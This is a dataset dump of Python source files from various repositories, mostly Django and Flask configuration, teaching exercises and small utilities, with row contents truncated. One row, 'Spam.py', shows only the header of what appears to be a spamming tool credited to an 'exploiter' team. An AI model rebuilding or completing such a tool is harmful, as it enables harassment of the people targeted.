blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
⌀
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
d689b65e58f4d60db8f65090a8b0e8b0bdbffa84
8546c0e45ea7a10e07d4e5f9f8123026ecb0e54e
/backend/ancient_art_29276/urls.py
93c0e60acd785ae79a01048668d4100015d480b4
[]
no_license
crowdbotics-apps/ancient-art-29276
a799ab4abbbe0ab2583c661552d7095f25650413
e31537524839e28b1ed44ebddffe9ac95e47c582
refs/heads/master
2023-07-03T16:46:51.569667
2021-07-29T23:15:17
2021-07-29T23:15:17
390,872,342
0
0
null
null
null
null
UTF-8
Python
false
false
2,229
py
"""ancient_art_29276 URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') C...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
23b4f421a0a3dfcf6dd0e936f4b47bf527924735
cf74841051a2ea1d11a6765fa76d64a1caad9293
/mysite/settings.py
7e6e00aa76b52ef0affa6a33b9c1eab72b1cfd8e
[]
no_license
kattosai/my-first-blog
6e8e39e5300632c66418c45265eb34aa4263f9e3
b18c6149711b4ab512d2686be6576bf37820e810
refs/heads/master
2020-05-05T11:12:00.849690
2019-04-08T13:27:33
2019-04-08T13:27:33
179,979,522
0
0
null
null
null
null
UTF-8
Python
false
false
3,183
py
""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 2.0.13. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os #...
[ "you@example.com" ]
you@example.com
24df69af1143d6c4a03316c2c80ac12b4b555b30
31442b4eaaf25d8f2ce7697e4abff0f1b2b6e857
/assignment2/Ü2_Aufgabe5.py
c337b5694ae94543348bf4f02f70d203b886f122
[]
no_license
hannah333/bioinformatik
713017415e3d9e8d05494b44e394bad68fbc5810
db9c91a2507efaf7cffc0ae0ffbe42e33737e17f
refs/heads/master
2020-03-16T21:59:03.585622
2018-07-10T15:07:04
2018-07-10T15:07:04
133,022,303
0
0
null
null
null
null
UTF-8
Python
false
false
1,691
py
text = 'ACGCGGCTCTGAAA' k = 2 #ba1m def numtosym(index): return { 0 : 'A', 1 : 'C', 2 : 'G', 3 : 'T', }[index] def numtopat (index,k): if k == 1: return numtosym(index) prefixindex = index // 4 t = index % 4 sym = numtosym(t) ...
[ "noreply@github.com" ]
noreply@github.com
b5e3d59a6b744908349d4d8adcce87e7bc611fc1
5cb52de0d36aa717cfa0b9e5738f2b130fab14a8
/emissions/views.py
a9c939ef6697270c471b39bdc790b4d42007b9e9
[]
no_license
kkekkonen/world-emissions
6a063331df50c3ca378b817843120d41f3feb351
02bcde34b87d585c56a8d120ed040677c5aad706
refs/heads/master
2020-04-21T17:29:04.713763
2019-02-26T12:07:59
2019-02-26T12:07:59
169,736,743
0
0
null
null
null
null
UTF-8
Python
false
false
6,212
py
from django.shortcuts import render from django.forms.models import model_to_dict from django.http import JsonResponse, HttpResponse from django.core import serializers from django.contrib.auth.decorators import user_passes_test from django.contrib.auth import login as auth_login, authenticate as auth_authenticate, log...
[ "kaarlo.kekkonen@aalto.fi" ]
kaarlo.kekkonen@aalto.fi
0c9f68540a2172c98c976409df27cf2f63b18908
275f85955acabac247fe306b0161a6d758f4d057
/DiegoGonzales/task2_2.py
ea63dddbfadcc28e6e44657c22ad54a57aef7920
[]
no_license
mauricioZelaya/QETraining_BDT_python
295bb58a99a36b0b973afd153109c510191b4ec7
d7cc798e7063ab32e5002e4deda3ddec8a8a0c59
refs/heads/master
2021-05-08T05:01:13.181273
2017-11-24T21:53:46
2017-11-24T21:53:46
108,473,352
0
0
null
2017-11-24T21:53:47
2017-10-26T22:43:32
Python
UTF-8
Python
false
false
336
py
def condiciones(numero): if numero < 0: numero = 0 print('Numero negativo cambiado a cero') elif numero == 0: print('Numero es Cero') elif numero == 1: print('Numero Simple') else: print('Mayor que uno') numero = int(input("Ingresa un entero, por favor: ")) con...
[ "devsoftbol@gmail.com" ]
devsoftbol@gmail.com
7f7d5e33a6009a87758376777adc69e02ca6cf6c
d01fd380fc4cac1db7884bceeef6e828c49948e3
/restframework/1-序列化/DEMO/front/serializers.py
e172cc0e67a1cb05e1c29e0454ab497e3475cba9
[]
no_license
renovate-bot/taoya7-_-DjangoNote
827261f9410129e42ca6ef0ff8b4acac74798917
2d1e4cdfd3112e18350512b0c917742bc36ec549
refs/heads/master
2023-08-18T07:26:54.855187
2020-06-09T03:16:02
2020-06-09T03:16:02
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,544
py
from rest_framework import serializers from django.conf import settings from rest_framework import exceptions from .models import * class PersonSerializer(serializers.Serializer): name = serializers.CharField( max_length=10, min_length=6, error_messages={ 'max_length': '太长了', ...
[ "569781231@qq.com" ]
569781231@qq.com
4192504c87ccd8c33cb0c35e585d5c13b05e54d6
364cfb59c90d134c8491454711c37b0f18783997
/AC_solutions/chapter_13/AC13_01/classes.py
9465451bb32d56342e242414fb5dc908418f9fe4
[]
no_license
advancedpythonprogramming/hands-on-activities
48068fa83bdf9c4d8ed00b58336f008b9fde8bfe
823808bb375882c8ada7261edc44b35e5f92240a
refs/heads/master
2021-01-11T16:14:32.525059
2017-08-02T14:00:40
2017-08-02T14:00:40
80,046,192
1
2
null
null
null
null
UTF-8
Python
false
false
2,034
py
class Student: def __init__(self, id, name, username, attendance): self.id = id self.name = name self.username = username self.attendance = attendance class ConsoleApp: def __init__(self, spykiller): self.spykiller = spykiller def run(self): while True: ...
[ "karim@karimpro.ing.puc.cl" ]
karim@karimpro.ing.puc.cl
bdbf206496a0420317ec6c60a8d1a7b1c3577906
12cfd1678317f40ca778b8c65d7323637c8c358d
/2018腾讯广告算法大赛/team1_lgb&nffm/src/014_CV_cvr_select_p.py
7582b0de170d96bf099fdfb6df27df2bb75f6f8b
[]
no_license
moonlight1776/competitions
e73d0ce358d2b5662b801820fd2f6434f2af4e2e
a372a2051a2a1580feb280ce6842a785459cf8d1
refs/heads/master
2022-03-21T09:31:20.276644
2019-11-09T05:37:46
2019-11-09T05:37:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,000
py
##筛选特征 col_new = ['cvr_of_aid_and_onehot7', 'cvr_of_age_and_onehot7', 'cvr_of_consumptionAbility_and_onehot1', 'cvr_of_aid_and_onehot3', 'cvr_of_advertiserId_and_onehot3', 'cvr_of_advertiserId_and_onehot1', 'cvr_of_gender_and_onehot2', 'cvr_of_campaignId_and_onehot7', 'cvr_...
[ "327643958@qq.com" ]
327643958@qq.com
d5b9fbbce42e28c9f4fab58843eb9861953a0c58
8c02c6b0cbdc1f763e09e9d39a19c92e2ff49591
/radio/settings.py
b4c2deb456d166ade7092fa891114c8d10fc1778
[]
no_license
AngheloGc/ascola
9b08beadc7be183546a3158d4c8a4ccf7b074e4d
0dece752a76bc35c96be9c6a5f61ea86367d099f
refs/heads/master
2020-03-14T04:41:30.112544
2018-04-28T23:20:38
2018-04-28T23:20:38
131,447,024
0
0
null
null
null
null
UTF-8
Python
false
false
3,307
py
""" Django settings for radio project. Generated by 'django-admin startproject' using Django 2.0.4. For more information on this file, see https://docs.djangoproject.com/en/2.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.0/ref/settings/ """ import os # B...
[ "agiron_1907@hotmail.com" ]
agiron_1907@hotmail.com
2dbc7739be4fbd4d7e2f2711c130c822aaf1ee38
44797a400aaffd4bf0c4fba1a5aad5f15d32d8f5
/Spam.py
1ee5d3deef515229127bf7acba82f53069c08949
[]
no_license
xrunganz/spam
08c65eb63a73036371152732bf5a77384e93cfec
53e8354b338a164329cecab057a5abfc581ebad5
refs/heads/master
2022-12-06T17:17:12.682856
2020-08-31T17:57:10
2020-08-31T17:57:10
291,782,662
0
0
null
null
null
null
UTF-8
Python
false
false
19,753
py
#!/usr/bin/python2 # Author : Xploit-Nahrun Ganz # Team : Black Coders Anonymous Satanic Exploiter Team ( BCA - X666X ) # Apa Liat Liat ? Mau Recode ? >_< # Recode Tidak Akan Membuat Anda Menjadi Pencipta Kode :3 M = '\033[1;31m' H = '\033[1;32m' K = '\033[1;33m' U = '\033[1;34m' P = '\033[1;35m' C = '\033[...
[ "noreply@github.com" ]
noreply@github.com
1be5d0c14f1cda9c438a4d7394698ddd6a4ee19b
16b0b35f8d5222e02de4ca477c28efc28a45e2e0
/PythonGettingStarted/HelloWorld.py
6ffde7b58d5ded27324bad29d6fc4fada2c600f7
[]
no_license
premkashyap/PythonTrilogyPluralsight
f77fcc0dd62f0b56501b2280d7634adf10235159
4f3d68b2c9c41f645d464fd7c9a5ad1c638002b8
refs/heads/master
2020-04-08T02:30:00.195729
2018-11-24T13:12:12
2018-11-24T13:12:12
158,937,528
0
0
null
null
null
null
UTF-8
Python
false
false
35
py
from pymod.words import fetchwords
[ "pkashyap02@pc.factset.com" ]
pkashyap02@pc.factset.com
81ae35d545e2f60f3e7f48feb13525c6f3e1e4e4
9fb12dafa066e44710e66a9e694f1af6b7e0871c
/rando-doggos/app.py
247c73e99e3f114710592b36b161c92cdfb394d6
[]
no_license
jas-atwal/start-using-docker-examples
ade959706a412273f1e95c703aa8e8311ea00601
233f9497eefa82135f98a7c89e395ce196b18647
refs/heads/master
2020-08-02T00:33:51.024885
2018-08-07T15:58:38
2018-08-07T15:58:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
725
py
import random from flask import Flask, render_template app = Flask(__name__) # list of doggo images images = [ "https://pbs.twimg.com/media/C6mYrK0UwAANhep.jpg", "https://pbs.twimg.com/media/C6k7SR5WwAABtb9.jpg", "https://pbs.twimg.com/media/C6atpTLWYAIL7bU.jpg", "https://pbs.twimg.com/media/C6Ryuf7U...
[ "skuenzli@qualimente.com" ]
skuenzli@qualimente.com
f44a530539c506afdd6b7c304243b6b9d15b6250
d790006044b2c6b652da46ae1595d8a8f03c337b
/flask_restful_section5/code/create_tables.py
030f0f8babb0ac6c26461a1393381a29887f6f34
[]
no_license
mohammadasim/rest_api_python
4ec555e2ffe05bf089f1b85269180d26a843796f
5fdda34cb2fcd74adba24a3343c67ecb304e120a
refs/heads/master
2020-03-24T22:08:52.665804
2018-09-11T16:16:17
2018-09-11T16:16:17
143,071,045
0
0
null
null
null
null
UTF-8
Python
false
false
428
py
import sqlite3 connection = sqlite3.connect('data.db') cursor = connection.cursor() create_table = "CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY, username text, password text)" create_item_table = "CREATE TABLE IF NOT EXISTS items(name text, price real)" cursor.execute(create_table) cursor.execute(create_it...
[ "mohammad.ayub@harpercollins.co.uk" ]
mohammad.ayub@harpercollins.co.uk
c0938595f7dae75512afb86b8acb8ac8414e3419
99bd24e4600967a35857730f86f4a7e18c4a807a
/Flask/flask_and_sql/module.py
31178f056246b4e4f41ade32f28e4f1ce2e0af47
[]
no_license
middin/M_Project
573f7cbab794052e286985b8831d59ea409090dc
3049524975104c7d6d19130a55a1fa09cf79581d
refs/heads/master
2021-01-01T17:49:52.050528
2019-11-19T04:00:20
2019-11-19T04:00:20
98,168,949
0
0
null
2017-07-24T08:52:57
2017-07-24T08:42:18
null
UTF-8
Python
false
false
793
py
import sqlite3 def get_conn(): return sqlite3.connect("test.db") class User(object): def __init__(self, id, name): self.id = id self.name = name def save(self): sql = 'insert into user VALUES(?,?)' conn = get_conn() cursor = conn.cursor() cursor.execute(sql, (self.id, self...
[ "1005424427@qq.com" ]
1005424427@qq.com
65e767531927e5747a6cdd3d3cb1420ea31b43c0
17ff2f4a18395c1c0d6e367a7ccc1aba50233063
/PythonExercices/Semana_Python_Ocean_Marco_2021-main/Exercicios_Python_PauloSalvatore/Exercicio_14.py
91e4dfd2a8b435c6e6048167f5f56c1920b7aef7
[ "MIT" ]
permissive
Rkhwong/RHK_PYTHON_LEARNING
b6d83505386f665f20222f72289b7c703247b281
90c351383b60eb485f9aff5ee23bed2015c763cf
refs/heads/main
2023-06-02T21:57:19.681620
2021-06-24T13:26:21
2021-06-24T13:26:21
379,933,026
0
0
null
null
null
null
UTF-8
Python
false
false
2,346
py
""" Exercício 14 Nome: Média Escolar Objetivo: Escrever uma aplicação utilizando funções que calcule a média de um aluno. Dificuldade: Intermediário 1 - Um professor, muito legal, fez 3 provas durante um semestre mas só vai levar em conta as duas notas mais altas para calcular a média. 2 - Faça uma aplicação que peça ...
[ "Rkhwong@users.noreply.github.com" ]
Rkhwong@users.noreply.github.com
e934a0bdc018a0da5a8ea763e93fcfd986997a79
0d2d3058feddb9be205427a142e0320821a0ca9c
/myapp/urls.py
42aae4734d65f266b9c79707e4e90aa112ccaba2
[]
no_license
Emad-ahmed/Leading_university_website
76085d93df2f24940b9a2023873add6d26c044f3
db12faca90041c606972a7eccf8fb62701b26a88
refs/heads/main
2023-06-06T21:10:54.051778
2021-07-07T03:42:56
2021-07-07T03:42:56
383,501,126
0
0
null
null
null
null
UTF-8
Python
false
false
2,054
py
from myapp.views.faculty import eng from django.urls import path from myapp.views import HomeView, shownotice, shownews, LoginView, SignupView, user_logout, EmailView, bba, cse, eng, StudentView from django.contrib.auth import views as auth_views from .forms import MyPasswordResetForm, MySetPasswordForm, MyPasswordChan...
[ "amadahmed1234678@gmail.com" ]
amadahmed1234678@gmail.com
9e602b45fb3024d00900a3ffb97ac4f9c6d5576f
fee267ab8a10bdfc51cb791e084b97b6f1a148f2
/fairing/models.py
031359a53d991b222f6bad9f61734291d7661c08
[]
no_license
rmendocna/geoship
83e9d098de87d04480dc53fa97fc0e4513e502a2
19c643bda766f53c6d22b597ab0afc8c8643376c
refs/heads/master
2022-12-11T06:56:33.718074
2020-09-07T22:58:49
2020-09-07T22:58:49
293,560,755
0
0
null
null
null
null
UTF-8
Python
false
false
1,778
py
from django.core.validators import MinValueValidator, MaxValueValidator, RegexValidator from django.db import models from partial_date import PartialDateField # Create your models here. class Ship(models.Model): """ Some attributes taken from https://gisis.imo.org/Public/SHIPS/Default.aspx """ # TODO...
[ "ricardo@Estrela.lan" ]
ricardo@Estrela.lan
3ddb272c6f1ea3b35ec8f855ac2caa0e1a995463
e59983616b1a76dfdb5a5528c75bdcf567c3c939
/Vidly/rental/views.py
dca0703eeae99235a50a1a485f1c392c243fbc95
[]
no_license
chrisleo34/FSDI-112-Class-1-Assignment-1
5c411b56e123578ef40ba21edcbe296e5fc7cb02
b977c87c460cc1afa71fa96ae6e3038adc55450f
refs/heads/master
2022-12-01T04:45:10.409150
2020-08-19T16:32:18
2020-08-19T16:32:18
288,782,192
0
0
null
null
null
null
UTF-8
Python
false
false
1,337
py
from django.shortcuts import render, redirect from django.http import HttpResponse from django.core.mail import BadHeaderError, EmailMessage from .form import ContactForm # Create your views here. def home(request): return render(request, 'index.html', {"title": "Welcome"}) def about(request): ...
[ "noreply@github.com" ]
noreply@github.com
718aa336105bfcc00656e5ee0d20d28d00df21d7
5200a97ef7de6dbe189ce24019cf8ca97d292731
/ggalerart/back/migrations/0001_initial.py
a9e487aeee411554cdd68055599250850b9562f3
[]
no_license
GabrielOlem/galerart
e693ec34b4c98b4762361e5d15b7fae0002b8698
e1cbe3627119fba3992993718576f823df323e06
refs/heads/main
2023-07-13T10:19:34.988599
2021-08-25T11:39:14
2021-08-25T11:39:14
380,335,261
0
0
null
2021-06-25T19:23:54
2021-06-25T19:23:53
null
UTF-8
Python
false
false
5,377
py
# Generated by Django 3.2.6 on 2021-08-24 19:48 import django.core.validators from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Expo', ...
[ "gme@cin.ufpe.br" ]
gme@cin.ufpe.br
02e12aac93fa90fbe95d4bc17962c0be42c2eed2
192f7e402b5e471b021cd0ad0e9523ae874a8ae9
/array processor v1.11.0.py
96c7c04555c0c79b89e64d9228783b270f13a6cd
[]
no_license
seancheo/Array-Task
87bc240a4cda5ba0790526debc2ba41de637ca7d
17759080729dbfbd57808d24645188c7dd1113b9
refs/heads/main
2023-05-28T08:11:56.775920
2021-06-17T02:51:03
2021-06-17T02:51:03
349,273,809
0
0
null
2021-06-08T04:10:55
2021-03-19T02:11:38
Python
UTF-8
Python
false
false
21,306
py
###################################################################### # Array Processor # # This program sorts arrays and searches for values # # Author: Martin Vu and Sean Cheong # # Date: 13/5/2020 ...
[ "noreply@github.com" ]
noreply@github.com
ea9cf5a73ecf15898db5b9d376aa74ae41b4575a
812f9822ddbfc986f4f230a9e6814f22c7c50e2f
/branching/nested.py
baba8661b3a2dfe6f2a4379b635ee0c8de297c89
[]
no_license
devopsvj/PythonAndMe
31b4aa9bade1431d6f13917122dc12bf6a118da6
0b1362023960b7c77c79856d4bdef0a58fec1446
refs/heads/master
2023-07-25T23:06:39.081191
2019-01-15T09:50:08
2019-01-15T09:50:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
858
py
#Program for if statements #Author:K.Vani #Date:16.12.1018 #Batch :Devops December 2018 print "Example for if satement" print "----------------------" x=input("Enter the Value for x:") y=input("Enter the value for y:") z=input("Enter the Value for z:") a=input("Enter the value for a:") """if x>y and x>z and x>a : p...
[ "vani_kani@hotmail.com" ]
vani_kani@hotmail.com
a1d873b9b994f614f557ecb8d20ced954ae1996d
5c01ac71e3b2b64f41f7f63ad6e61bc6c201d88f
/MLP_synthetic/mlp_synthetic.py
c35701e476b93776e0c71976d59e7de01822c149
[]
no_license
devang1994/high_dimensional_bayes
71ed1af64b08e085e9bb2c1d97238e8434ac8cd6
094b65f5db7504a44074d5d9ccb8a7103458f324
refs/heads/master
2021-03-27T08:39:49.197118
2016-05-10T15:57:32
2016-05-10T15:57:32
46,139,265
0
0
null
null
null
null
UTF-8
Python
false
false
8,855
py
import theano from theano import tensor as T import numpy as np from load_synthetic import load_synthetic as load from math import sqrt from adam import Adam import matplotlib.pyplot as plt from sklearn.metrics import mean_squared_error as MSE import cPickle as pickle rand_seed=20 np.random.seed(rand_seed) epochs = 10...
[ "devang1994@gmail.com" ]
devang1994@gmail.com
d19450f9f0a6c774e1f900e74df001a9ef0c5c77
bc09d43caaa31697c8099bfafefb56e48504bfea
/queueins_to_insert_data.py
93e62f21666f92be3f12aa406fe635c5bef138e8
[]
no_license
FatemaBohra/python-program
103f2584eb2a31de0080059d013051e415ce23c9
ce647be15245098ae562099475cac52582e1b30f
refs/heads/main
2023-09-04T06:22:41.012712
2021-11-04T15:00:25
2021-11-04T15:00:25
418,728,284
0
0
null
null
null
null
UTF-8
Python
false
false
227
py
# Question-2(STACKS AND QUEUES) # parameter datatype is list, element datatype is integer, return datatype is integer def queueins(data, x): data.append(x) return data data_global = [] print(queueins(data_global, 3))
[ "fatema.bohra2003@gmail.com" ]
fatema.bohra2003@gmail.com
2c6f9882deb22c898288c984fd1e52422bb3f91c
c73ee09d4578ac35d895722f8fa9d490fa8db1bd
/daemon/tests/test_core.py
3fbd91cb23281c0b1f53b225516633ade1cd235b
[ "BSD-2-Clause" ]
permissive
pexip/os-core-network
ac067d455cc5c325f397206cd641b263c2514979
3328333539db178641200cf998a090e8c606deea
refs/heads/master
2023-08-28T02:50:25.510371
2022-06-02T11:43:15
2022-06-02T11:43:24
12,920,197
0
1
null
null
null
null
UTF-8
Python
false
false
5,607
py
""" Unit tests for testing basic CORE networks. """ import threading from pathlib import Path from typing import List, Type import pytest from core.emulator.data import IpPrefixes, NodeOptions from core.emulator.enumerations import MessageFlags from core.emulator.session import Session from core.errors import CoreCo...
[ "mark.hymers@pexip.com" ]
mark.hymers@pexip.com
9fdccff75c088aa1a84fdb4e39d6715201f6b6b1
86c0e705a7b140474a92de399997ac9380c9b711
/study_plot/sequence_clustering/keams_clustering.py
a738e1956a661890b8ad5665c5f6afe784da019b
[]
no_license
LeoPJ/GraduationProject
533b5eb0d0b55925b29c6824ff27f8811c8bd72c
3a627a195399f64edf373465e83c46a08b1799bd
refs/heads/master
2023-08-15T16:40:48.361417
2021-10-22T02:42:20
2021-10-22T02:42:20
267,300,460
0
0
null
null
null
null
UTF-8
Python
false
false
10,426
py
from sklearn.cluster import KMeans from sklearn.mixture import GaussianMixture import numpy as np import math as m # import matplotlib.pyplot as plt import Levenshtein import pandas as pd import re import json import matplotlib.pyplot as plt def get_dis_matrix(data): """ 获得邻接矩阵 :param data: 样本集合 :retur...
[ "peijieliao@foxmail.com" ]
peijieliao@foxmail.com
8e05f8316c34e11f625d1119368230bc445d4dac
6e99c57261bcc5ba1f31bffc6ee1d854a00cdd56
/examples/anon-bucket-sort/bootstrap.py
f447c9c9c8a419ea35d419379552bf8f0ced50c9
[ "MIT" ]
permissive
chrisseto/Still
5a0249b8eb28956b2be5538d07fb8091e3c54c49
3e4df26b824227472e5f487905779deafc76b4dd
refs/heads/master
2021-01-10T13:43:33.098299
2015-10-12T05:22:24
2015-10-12T05:22:24
43,833,872
0
0
null
null
null
null
UTF-8
Python
false
false
2,316
py
import os import json import asyncio from wdim import client from wdim.client.permissions import Permissions from wdim.orm import Storable from wdim.orm import exceptions from wdim.orm.database import MongoLayer from wdim.orm.database import EmbeddedElasticSearchLayer cards_loc = os.path.join(os.path.split(__file__)...
[ "chriskseto@gmail.com" ]
chriskseto@gmail.com
fded8a22a8cc9175db20d9f87835860201c3f1bd
1f725b13af46e41bb56bd6ba6c6382d8176c7dc3
/env/bin/django-admin
71c138d606c4577d9e2c77c395a76fcff21c13a4
[]
no_license
lauramayol/django-polls
184ea5eb034fc02fc5b6c03412e1c3d9f619e520
ab2213615ae8d0acee49668bd71dba5f8a10d199
refs/heads/master
2020-03-30T12:28:50.529420
2018-10-03T13:23:36
2018-10-03T13:23:36
null
0
0
null
null
null
null
UTF-8
Python
false
false
312
#!/Users/lauramay/Documents/GitHub/django-polls/env/bin/python3 # -*- coding: utf-8 -*- import re import sys from django.core.management import execute_from_command_line if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(execute_from_command_line())
[ "lmayol4@gmail.com" ]
lmayol4@gmail.com
a1301ea47807575de631a90991f181f92cc9ec64
26433ca3779818e5b896410fa543355aa5f6b267
/SensorWebsite/MicSense/config.py
d47d0496471f5da344c685abd7271f756fd12f24
[]
no_license
TerpDAC/MicrophoneControllerCode
dbd108847bf55cf73b4449755de2a0016f80f71e
1140db36627e3c085028c4c7faef37c1db3d16cd
refs/heads/master
2021-01-10T15:11:45.052097
2017-02-07T23:14:16
2017-02-07T23:14:16
47,220,998
0
1
null
2016-02-10T23:27:48
2015-12-01T22:18:23
Python
UTF-8
Python
false
false
548
py
# Application configuration # Non-sensitive configuration can go here! # PythonAnywhere requires this, since MySQL connections have been set # to close in 300s (5m). SQLALCHEMY_POOL_RECYCLE = 200 # PythonAnywhere also requires this, since they limit MySQL connections # to 3 at max. We leave two open just in case we n...
[ "alberthdev@users.noreply.github.com" ]
alberthdev@users.noreply.github.com
6e1704267b9bf4e6aa4f7fa67db6c491ceae844a
44f743dba708db8ff119f2ec9fe61eea0dabfd25
/outliers.py
bbc24832b59106a65b5bb258447696122fb894f4
[ "MIT" ]
permissive
victorkitov/common_plus
4bb6aa066fde91dd70d363ced37fe25690ad23b6
b1456c0c1a277b703a1493d047c7f2fefa1e761c
refs/heads/master
2020-05-01T15:42:13.393411
2019-03-25T09:20:26
2019-03-25T09:20:26
177,553,280
2
0
null
null
null
null
UTF-8
Python
false
false
2,182
py
#!/usr/bin/env python # encoding: utf-8 import numpy as np import pandas as pd import sklearn as skl from sklearn.decomposition import PCA from pylab import * from common.visualize.colors import COLORS def get_outlier_sels(X, outliers_fraction=0.05, support_fraction=None, cum_explained_ratio=0.95): p...
[ "v.v.kitov@yandex.ru" ]
v.v.kitov@yandex.ru
6548d749937048f523f0b21f8b765c3d2ea29aaa
95c51d5663c302975f3a8688d5210995159f4dec
/Week_02/top-k-frequent-elements.py
56d5881597f56e91198e9c630b7cb670694119fc
[]
no_license
MarineJoker/AlgorithmQIUZHAO
344f26f8336c99d09453c1f131f3931d7e4f3a07
8d08dc7b583ad28b1d9ca61c94b0e3ae7bb50719
refs/heads/master
2022-12-17T11:22:11.479602
2020-09-15T14:20:02
2020-09-15T14:20:02
279,308,302
0
0
null
2020-07-13T13:19:05
2020-07-13T13:19:04
null
UTF-8
Python
false
false
674
py
import heapq class Solution: def topKFrequent(self, nums: List[int], k: int) -> List[int]: # 先O(n)遍历一遍 # 用哈希统计数量 # 放入最小堆,pop掉多余的元素,剩下的就是高频词 q = [] map_count ={} ans = [] for num in nums: if num in map_count: map_count[num] += 1 ...
[ "hellowjbb@gmail.com" ]
hellowjbb@gmail.com
14f95da8d8604d7bf28e058b32fd6b7610fabc96
9d9056d6a99b2b7d99ea40dac6c477636803931f
/sonic.py
7172e1f877cf0910eae20ac43a25a0110b8c97a4
[]
no_license
TonioMG19/flappia_cc
d115d8d7b174fbd751e44fbbd63e02b52a885195
8f6a381c62467a1ddd918dabc613630ac93179a8
refs/heads/master
2022-08-24T19:24:43.635828
2020-05-28T13:39:06
2020-05-28T13:39:06
260,461,524
0
0
null
null
null
null
UTF-8
Python
false
false
83
py
import pygame from pygame import * fenetre = pygame.display.set_mode((800,600))
[ "toniokuhn2@gmail.com" ]
toniokuhn2@gmail.com
0e02831c4bca99e1ca0a8f73fd65f5899009e35f
d6e5ae116f80eded030cbac1b29ecfc2dad6b61f
/Rat Scanner.py
38ac7c02871ddc44dae1459777c286441b1bcde9
[]
no_license
IWickGames/RAT-Scanner
d836fda6ac208a0ac910ed2caabdd743e41d2dda
cd67b4560d8a8e01ee680d6a4a47f3b79f1362b6
refs/heads/master
2021-05-24T11:47:09.398186
2020-07-14T22:04:52
2020-07-14T22:04:52
253,545,346
1
0
null
null
null
null
UTF-8
Python
false
false
3,485
py
import os import sys import cursor def getStrings(filename): strings = [] validChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+{}:"|<>?' try: with open(filename, errors="ignore") as f: for i in f.read().splitlines(): string = '' ...
[ "smarttecgaming@gmail.com" ]
smarttecgaming@gmail.com
d8621159f61f29b6bddb94ba6440b8a7d493be39
bdf4761985804ec3d5e9a0e103e30d9daa0c8a6d
/dbce/dbce/datatypes/context.py
291fae4e3deef041df69e9e8922fb1814b4ca78c
[ "BSD-3-Clause" ]
permissive
ppBruce/dbce
f42ef456023b6823c253c2c86d23ca6196477fa0
a4b1ed743f178bb6800261d3d3648074ee9eb513
refs/heads/master
2021-01-06T20:44:10.573289
2017-06-11T13:19:52
2017-06-11T13:19:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,163
py
""" DBCECTX - context container for one cross Copyright (c) 2016 Rafal Lesniak. All rights reserved. This software is licensed as described in the file LICENSE. """ from dbce.datatypes.node import NodeStats class DBCECTX(object): def __init__(self, config, wlid, testname=None): self.docid = wlid ...
[ "thkr@hannover.ccc.de" ]
thkr@hannover.ccc.de
5c815c0cfee2836725b9730018b3fe4a1823ae43
d255d9512b7038fbb089384c98e9df2096b5d6a7
/Atcoder/Recommendation/20201126_B - 視程の通報.py
7b798ab2dc833b18ab87a578398460b4dbf48ab5
[]
no_license
KFurudate/Atcoder_SHOJIN
d19b52fbb9631225fb3b3c9256bcb4d2ef834441
9f78a2dc15e5b53a9ac0299f683a6ca81d5d28ca
refs/heads/master
2023-03-17T23:49:34.658608
2021-03-21T06:00:06
2021-03-21T06:00:06
293,575,959
0
0
null
null
null
null
UTF-8
Python
false
false
357
py
m = int(input()) m /= 1000 if m < 0.1: print("00") exit() elif (0.1 <= m) and (m < 6): m *= 10 m = str(int(m)) if len(m) == 1: m = "0" + m elif (6 <= m) and (m <= 30): m += 50 m = int(m) elif (35 <= m) and (m <= 70): m -= 30 m /= 5 m += 80 m = int(m) elif 70 < m...
[ "furudateken@gmail.com" ]
furudateken@gmail.com
aeffa0d2ada26dcbdeca31268e1312461914007f
ef56514d7066139fc264806a545af89c56765d4c
/Лабораторная 14.1.py
3b1662a742097dcdd6dd3698a78959d27a3b8b7e
[]
no_license
vusaliko/Laboratorniye
33cdfcb7bd4456aaae8a41f8018f80ffd814a4f0
1c103fc8b819c9a2e280b0ddd65e51f8eab87834
refs/heads/master
2020-07-16T23:44:00.613742
2019-11-06T16:19:31
2019-11-06T16:19:31
205,893,237
0
0
null
null
null
null
UTF-8
Python
false
false
442
py
while True: print("Введите длину массива и его элементы") n=int(input()) N=[] for i in range(0,n): N.append(int(input())) d=N[1]-N[0] a=1 for i in range(1,n-1): if (N[i+1]-N[i])!=d: a=0 break if a==1: print("Разность арифметиче...
[ "noreply@github.com" ]
noreply@github.com
fb6be7e0ad5fd068eb552c7fc6c41c0cff278a5e
a88f27a67aabf0d78965ea9de37cc2d4ffa422c8
/tools/sort-by-time.py
9124b93f0ca534f7c0ffa072549743048f3df440
[]
no_license
S-LaKeith/conan
0b067009b402ff6a464056beed23fda95dca02c3
